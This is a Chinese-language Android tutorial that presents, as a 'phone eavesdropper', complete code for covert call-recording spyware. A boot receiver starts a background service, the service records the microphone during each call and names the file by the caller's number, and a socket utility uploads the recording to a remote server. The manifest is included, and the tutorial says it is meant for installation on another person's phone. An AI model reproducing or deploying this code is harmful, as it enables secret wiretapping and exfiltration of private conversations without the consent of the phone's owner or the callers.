Android入门：利用MediaRecorder和TelephonyManager实现电话窃听器

一、电话窃听器介绍

电话窃听器定义：在A的手机装上电话窃听器应用，则如果B给A打电话，则会录制A说的话并将此音频文件上传到服务器；如图所示：

二、电话窃听器核心代码

需要的权限：

接收开机广播权限： <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>

录制音频权限： <uses-permission android:name="android.permission.RECORD_AUDIO"/>

读取打电话的状态权限：<uses-permission android:name="android.permission.READ_PHONE_STATE"/>

网络通信权限： <uses-permission android:name="android.permission.INTERNET"/>

录制音频的核心代码：

recorder = new MediaRecorder();
recorder.setAudioSource(MediaRecorder.AudioSource.MIC);//设置输入流设备为麦克风
recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//设置输出格式
recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//设置编码方式
recorder.setOutputFile(filename); //设置输出文件

recorder.prepare();//准备

recorder.start();//开始录制

recorder.stop();//停止录制
recorder.release(); //释放资源

电话服务监听核心代码：

TelephonyManager manager = (TelephonyManager)getSystemService(Context.TELEPHONY_SERVICE);//获得电话管理器

manager.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);//对呼叫状态进行监听

private PhoneStateListener listener = new PhoneStateListener(){
@Override
public void onCallStateChanged(int state, String incomingNumber) {//当状态改变时调用
super.onCallStateChanged(state, incomingNumber);
switch(state){
case TelephonyManager.CALL_STATE_RINGING://来电
//处理代码
break;

case TelephonyManager.CALL_STATE_IDLE://挂断电话

//处理代码

break;
case TelephonyManager.CALL_STATE_OFFHOOK://接通电话状态
//处理代码
break;
}
}
};

三、电话窃听器代码实现

客户端代码

BootBroadcastReceiver.java

package com.xiazdong.phonelistener;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;public class BootBroadcastReceiver extends BroadcastReceiver {	@Override	public void onReceive(Context context, Intent intent) {		Intent service  = new Intent(context,PhoneService.class);	//开启电话窃听器服务		context.startService(service);	}}

PhoneService.java

package com.xiazdong.phonelistener;import java.io.File;import java.io.FileInputStream;import java.io.InputStream;import java.io.OutputStream;import java.net.Socket;import android.app.Service;import android.content.Context;import android.content.Intent;import android.media.MediaRecorder;import android.os.Environment;import android.os.IBinder;import android.telephony.PhoneStateListener;import android.telephony.TelephonyManager;public class PhoneService extends Service {	private PhoneStateListener listener = new PhoneStateListener(){		private String incomingNumber;		private MediaRecorder recorder;		private File file ;		@Override		public void onCallStateChanged(int state, String incomingNumber) {	//当状态改变时调用			super.onCallStateChanged(state, incomingNumber);			switch(state){			case TelephonyManager.CALL_STATE_RINGING:	//来电				this.incomingNumber = incomingNumber;				break;			case TelephonyManager.CALL_STATE_IDLE:	//挂断电话				if(recorder!=null){					recorder.stop();					recorder.release();					recorder = null;					try {						SocketClientUtil.uploadFile(file, "192.168.0.103", 7878);					} catch (Exception e) {						e.printStackTrace();					}				}								break;			case TelephonyManager.CALL_STATE_OFFHOOK:	//接通电话状态				file = new File(Environment.getExternalStorageDirectory(),incomingNumber+System.currentTimeMillis()+".3gp");				recorder = new MediaRecorder();				recorder.setAudioSource(MediaRecorder.AudioSource.MIC);		//设置输入流设备为麦克风				recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);	//设置输出格式				recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);	//设置编码方式				recorder.setOutputFile(file.getAbsolutePath());		//设置输出文件				try {					recorder.prepare();				} catch (Exception e) {					e.printStackTrace();				}				recorder.start();								break;			}		}	};	@Override	public IBinder onBind(Intent intent) {		// TODO Auto-generated method stub		return null;	}	@Override	public void onCreate() {		super.onCreate();		TelephonyManager manager = (TelephonyManager)getSystemService(Context.TELEPHONY_SERVICE);		manager.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);	//对呼叫状态进行监听	}	}

SocketClientUtil.java

package com.xiazdong.phonelistener;import java.io.File;import java.io.FileInputStream;import java.io.InputStream;import java.io.OutputStream;import java.net.Socket;import java.util.UUID;public class SocketClientUtil {	public static void uploadFile(final File file,final String ip,final int port)throws Exception{		new Thread(new Runnable(){			@Override			public void run() {				try {					Socket socket = new Socket(ip,port);					OutputStream  out = socket.getOutputStream();					InputStream in = new FileInputStream(file);					byte[] data = StreamTool.read2Byte(in);					String head = "Content-Length="+ data.length+";filename="+file.getName()+";sourceid=1278916111468\r\n";					out.write(head.getBytes("UTF-8"));					out.write(data);					System.out.println("上传成功");				} catch (Exception e) {					e.printStackTrace();				}			}		}).start();	}}

AndroidManifest.xml

<uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/>		<!-- 外界拨打权限 -->	<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>		<!-- 接收开机广播 -->    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>		<!-- sdcard -->    <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>	<!-- sdcard -->    <uses-permission android:name="android.permission.RECORD_AUDIO"/>				<!-- 记录音频 -->	<uses-permission android:name="android.permission.READ_PHONE_STATE"/>			<!-- 读取电话状态 -->    <uses-permission android:name="android.permission.INTERNET"/>					<!-- 网络权限 -->        <application        android:icon="@drawable/ic_launcher"        android:label="@string/app_name" >       <receiver android:name=".BootBroadcastReceiver">           <intent-filter>               <action android:name="android.intent.action.BOOT_COMPLETED"/>           </intent-filter>       </receiver>       <service android:name=".PhoneService">

服务器端代码此处就不作介绍，主要功能就是接收例如

Content-Length=9435;filename=1342935941398.3gp;sourceid=1278916111468和3GP文件